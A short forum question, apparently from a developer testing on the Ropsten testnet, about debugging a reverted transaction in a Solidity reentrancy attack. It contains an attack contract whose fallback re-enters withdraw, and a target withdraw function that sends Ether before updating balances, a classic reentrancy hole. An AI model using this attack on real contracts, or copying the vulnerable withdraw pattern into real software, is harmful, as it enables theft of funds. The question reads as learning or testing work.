Trying to simulate the attack.
In my attack contract:
function attack() public {
target.call(bytes4(keccak256("withdraw()")),amount);
}
function() payable public {
if (msg.sender == target) {
attack();
}
}
Target vulnerable contract:
function withdraw(uint256 _value) payable returns (bool success) {
if (balances[msg.sender] < _value) return false;
msg.sender.call.value(_value)();
balances[msg.sender] -= _value;
total -= _value;
return true;
}
When I call the first attack function, the transaction gets an error in it.
How do I debug this?
I see a Revert in the stacktrace.
I did verify there is a balance for the smart contract equal to the amount I'm attempting to withdraw ( 100000000000000 )
https://ropsten.etherscan.io/tx/0xdf3821e85520549684c121e0786bad1a6b26de00c7a2c659a042d634196a7bba
Although one or more errors occured [Reverted] contract execution completed